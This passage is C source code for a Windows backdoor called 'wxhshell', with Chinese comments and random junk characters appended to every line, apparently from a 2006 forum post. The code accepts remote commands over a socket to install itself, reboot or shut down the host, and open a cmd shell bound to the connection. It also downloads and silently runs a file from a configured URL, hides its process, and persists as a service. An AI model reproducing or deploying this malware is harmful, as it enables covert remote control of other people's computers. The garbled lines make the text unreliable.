  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |]~],  
  } X%5 `B2Wu  
  else { biZ=TI2P,L  
x*p'm[Tdtm  
    switch(cmd[0]) { /9,y+"0SQz  
  gnYo/q=K  
  // 帮助 MEu{'[C  
  case '?': { ~iPXn1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T7|=`~  
    break; E#Ol{6  
  } "ZL_  
  // 安装 p,tkVedR  
  case 'i': { \E'z+0  
    if(Install()) ?zf3AZ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uPC(|U%  
    else }:Y)DH% u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yMD3h$w3a  
    break; CM6! 1 7  
    } 2St<m-&  
  // 卸载 ;U3K@_  
  case 'r': { 1p$*N  
    if(Uninstall()) /l+"aKW 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gtIEpYN+  
    else sm{/S*3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'gk=MQc  
    break; I%b5a`7  
    } $3g M P+  
  // 显示 wxhshell 所在路径 "<Yxt"Z4  
  case 'p': { <g&.UW4  
    char svExeFile[MAX_PATH]; ,g4T>7`&U%  
    strcpy(svExeFile,"\n\r"); }=B~n0  
      strcat(svExeFile,ExeFile); u08j9) ,4  
        send(wsh,svExeFile,strlen(svExeFile),0); [E+J=L.l  
    break; eFotV.T!#  
    }  F&lH5  
  // 重启 @NL37C  
  case 'b': { a|(|!=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5A^8?,F@  
    if(Boot(REBOOT)) $inKI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\NCoos  
    else { z "z  
    closesocket(wsh); Mf !S'\  
    ExitThread(0);  vY"I  
    } o2;Eti  
    break; i'10qWz  
    } Hy -)yR  
  // 关机 ~Ye nH  
  case 'd': { TRJTJM_k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M`7[hr  
    if(Boot(SHUTDOWN)) Gm &jlN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zl|+YjR  
    else { H0jbG;  
    closesocket(wsh); &gr  T@  
    ExitThread(0); p8"C`bCf  
    } s>1\bio*I  
    break; `GlOl-  
    } C,%Dp0  
  // 获取shell zqURnsJ  
  case 's': { 5s;@;V  
    CmdShell(wsh); C(UWir3mW?  
    closesocket(wsh); !Pt4\  
    ExitThread(0); @4KKm@(p85  
    break; l8:!{I?s=  
  } -x:7K\=$SX  
  // 退出 ,%qP   
  case 'x': { !T2{xmHKv$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $5\!ws<cZ  
    CloseIt(wsh); DC8\v+K  
    break; ! &cfX/y8  
    } [k75+#'  
  // 离开 yMzy!b Ky  
  case 'q': { Qmb+%z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;JgSA&'e  
    closesocket(wsh); 1]Cb i7  
    WSACleanup(); xFJT&=Af W  
    exit(1); wWSw0 H/  
    break; -m[ tYp,q  
        } xA<-'8ST  
  } kM@e_YtpY  
  } h~qv_)F_  
j}K 3YfH  
  // 提示信息 T!Tp:&O-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (/Jy9 =~  
} t=My=pG  
  } 1r*yYm'  
s&+`>  
  return; ~C3J-z<  
} tOte[~,  
|eg8F$WU  
// shell模块句柄 E2z=U  
int CmdShell(SOCKET sock) W$Xr:RU  
{ PW iuM=E  
STARTUPINFO si; cvf?ID84  
ZeroMemory(&si,sizeof(si)); j?T>S]xOX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BHS@whj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vl6|i)D  
PROCESS_INFORMATION ProcessInfo; }}u`*&,g  
char cmdline[]="cmd"; &;W K=#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lxbC 7?O  
  return 0; U>00B|<GJ  
} kGC*\?<LmR  
^CM@VmPp  
// 自身启动模式 M,yxPHlN  
int StartFromService(void) 9YB?wh'S[  
{ t-n'I/^5  
typedef struct c6=XJvz  
{ 7xY&7 x(v  
  DWORD ExitStatus; dd;rne v+  
  DWORD PebBaseAddress; t;0]d7ey'  
  DWORD AffinityMask; 1|s` z  
  DWORD BasePriority; 0v6Z 4Ahpo  
  ULONG UniqueProcessId; $ %|b6Gr/&  
  ULONG InheritedFromUniqueProcessId; ;CoD5F!  
}   PROCESS_BASIC_INFORMATION; T00sYoK  
~IPATG  
PROCNTQSIP NtQueryInformationProcess; {X<_Y<  
;Jb% 2?+=!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PMX'vA`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m(dW["8D  
b"`Q&V.  
  HANDLE             hProcess; keKsLrd  
  PROCESS_BASIC_INFORMATION pbi; H#WqO<<v  
X+HPdrT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6' \M:'<0e  
  if(NULL == hInst ) return 0; wuxOFlrg  
r+6 DlT a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @3 +   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q4'`qe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j9w{=( MV  
+W$uHQq  
  if (!NtQueryInformationProcess) return 0; -UAMHd}4  
x9 t %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~BgYD)ov  
  if(!hProcess) return 0; n{qVF#N_  
wlh%{l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qlg.\H:W~  
DY/%|w*L  
  CloseHandle(hProcess); W>c*\)Xk !  
JlawkA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7L6^IK  
if(hProcess==NULL) return 0; m;IKV,  
{j<?+o5A  
HMODULE hMod; SMU 8U  
char procName[255]; > PL}7f&:  
unsigned long cbNeeded; a@9W'/?igk  
"(~fl<;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q$s)(D  
paYS< 8In  
  CloseHandle(hProcess); /xr75|-8  
QW_v\GHx  
if(strstr(procName,"services")) return 1; // 以服务启动 .m%5Esx  
hYA1N&yz@  
  return 0; // 注册表启动 c=a;<,Rzb  
} : Q2=t!  
usu{1&g  
// 主模块 q[Ey!h)xq  
int StartWxhshell(LPSTR lpCmdLine) h Y *^rY'  
{ 6Bd:R}yZP7  
  SOCKET wsl; Uxe]T  
BOOL val=TRUE; }dqOE-"I"n  
  int port=0; C\;%IGn  
  struct sockaddr_in door; }N,v&  B  
=i2]qj\  
  if(wscfg.ws_autoins) Install(); ' %rn-|)  
Z^J)]UL/  
port=atoi(lpCmdLine); d7x6r3J$  
[iyhrc:@  
if(port<=0) port=wscfg.ws_port; xk,1 D  
!:uh? RW  
  WSADATA data; bGwj` lue  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B4c;/W-  
5nmE*(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f{\[+>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8{7'w|/;.{  
  door.sin_family = AF_INET; ]D^; Ca  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y[m*  
  door.sin_port = htons(port); 4 'vjU6gW  
 j~cG#t]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gF;C% }  
closesocket(wsl); @kba^z  
return 1; Q'j00/K  
} &`-e; Xt  
yV6U<AP$3  
  if(listen(wsl,2) == INVALID_SOCKET) { })q8{Qj!  
closesocket(wsl); /nt%VLms %  
return 1; !HW?/-\,O  
} Y8fel2;  
  Wxhshell(wsl); !NKPy+v  
  WSACleanup(); w2`JFxQ^x  
g(S4i%\  
return 0; |uRYejj#j  
A9Pq}3U  
} K!-iDaVI  
z_y@4B6>}  
// 以NT服务方式启动 'k<~HQr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Z1,~(3  
{ fq):'E)  
DWORD   status = 0; bQu@.'O!k  
  DWORD   specificError = 0xfffffff; bZ+H u~  
=}e{U&CX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ws,VO*4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? fM_Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  .g=D70  
  serviceStatus.dwWin32ExitCode     = 0; =;?Maexp3$  
  serviceStatus.dwServiceSpecificExitCode = 0; x51xY$M  
  serviceStatus.dwCheckPoint       = 0; H4M`^r@)'  
  serviceStatus.dwWaitHint       = 0; 4]%MrSjS  
"9y 0]~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uL~.#Y_jQ  
  if (hServiceStatusHandle==0) return; SuBUhzR  
6Q*zZ]kg  
status = GetLastError(); ytfr'sr/  
  if (status!=NO_ERROR) >k~3W> D  
{ )S@TYzdAN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SK,UW6h  
    serviceStatus.dwCheckPoint       = 0; ,twm)%caU  
    serviceStatus.dwWaitHint       = 0; G49`a*Jn  
    serviceStatus.dwWin32ExitCode     = status; !4$o*{9Lx:  
    serviceStatus.dwServiceSpecificExitCode = specificError; iTCY $)J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P Qi=  
    return; P4s,N|bs`  
  } %6:"tuA  
H1vToIP%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1{h,LR  
  serviceStatus.dwCheckPoint       = 0; v.Q+4 k  
  serviceStatus.dwWaitHint       = 0; 2rS`ViicD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $n::w c  
} &>}f\ch/  
zogl2e+  
// 处理NT服务事件,比如:启动、停止 9 tCF m.m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b X/%Q^Y  
{ 4L&Rs;  
switch(fdwControl) l?x'R("{  
{ TO] cZZ<  
case SERVICE_CONTROL_STOP: ;\Pq  
  serviceStatus.dwWin32ExitCode = 0; Z. xOO|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ( D@ U%  
  serviceStatus.dwCheckPoint   = 0; Qf}}/k|)k  
  serviceStatus.dwWaitHint     = 0; {9nH#yv  
  { QnIF{TS=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e:|Bn>*  
  } GVM)-Dp]  
  return; zf[KZ\6H   
case SERVICE_CONTROL_PAUSE: n55s7wzM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fZxEE~Q1  
  break; H4ancmy  
case SERVICE_CONTROL_CONTINUE: *k;%H'2g{}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QU)AgF[  
  break; $#J  
case SERVICE_CONTROL_INTERROGATE: @$o^(my  
  break; Tpp?(lT7r  
}; XhJYsq]]J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .:SY:v r  
} ?]58{O(?c  
9XN/ w p  
// 标准应用程序主函数 2nB{oF-Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H+VjY MvK  
{ z?C& ,mv  
5oOFl  
// 获取操作系统版本 l}9E0^AS  
OsIsNt=GetOsVer(); wf,w%n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "> Y(0^^  
U)qG]RI  
  // 从命令行安装 +J2;6t  
  if(strpbrk(lpCmdLine,"iI")) Install(); T<u QhPMw  
1u_< 1X3  
  // 下载执行文件 "pQ) 5/e  
if(wscfg.ws_downexe) {  Y?IXV*J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p}yp!(l  
  WinExec(wscfg.ws_filenam,SW_HIDE); b3+F~G-I"  
} A04E <nr  
lXu6=r  
if(!OsIsNt) { :v8~'cZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 $`|\aXd[C*  
HideProc(); >8w=Vlp  
StartWxhshell(lpCmdLine); GFYHt!&[\  
} UiN6-{v<2  
else sN@=Ri?\  
  if(StartFromService()) ko`KAU<T_  
  // 以服务方式启动 SfGl*2  
  StartServiceCtrlDispatcher(DispatchTable); ?w>-ya  
else `:fh$V5J>  
  // 普通方式启动 N=TDywRI  
  StartWxhshell(lpCmdLine); `SG8w_  
(L !#2Jy  
return 0;  *#sY-Gd  
}
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只看该作者 1 发表于: 2006-10-10
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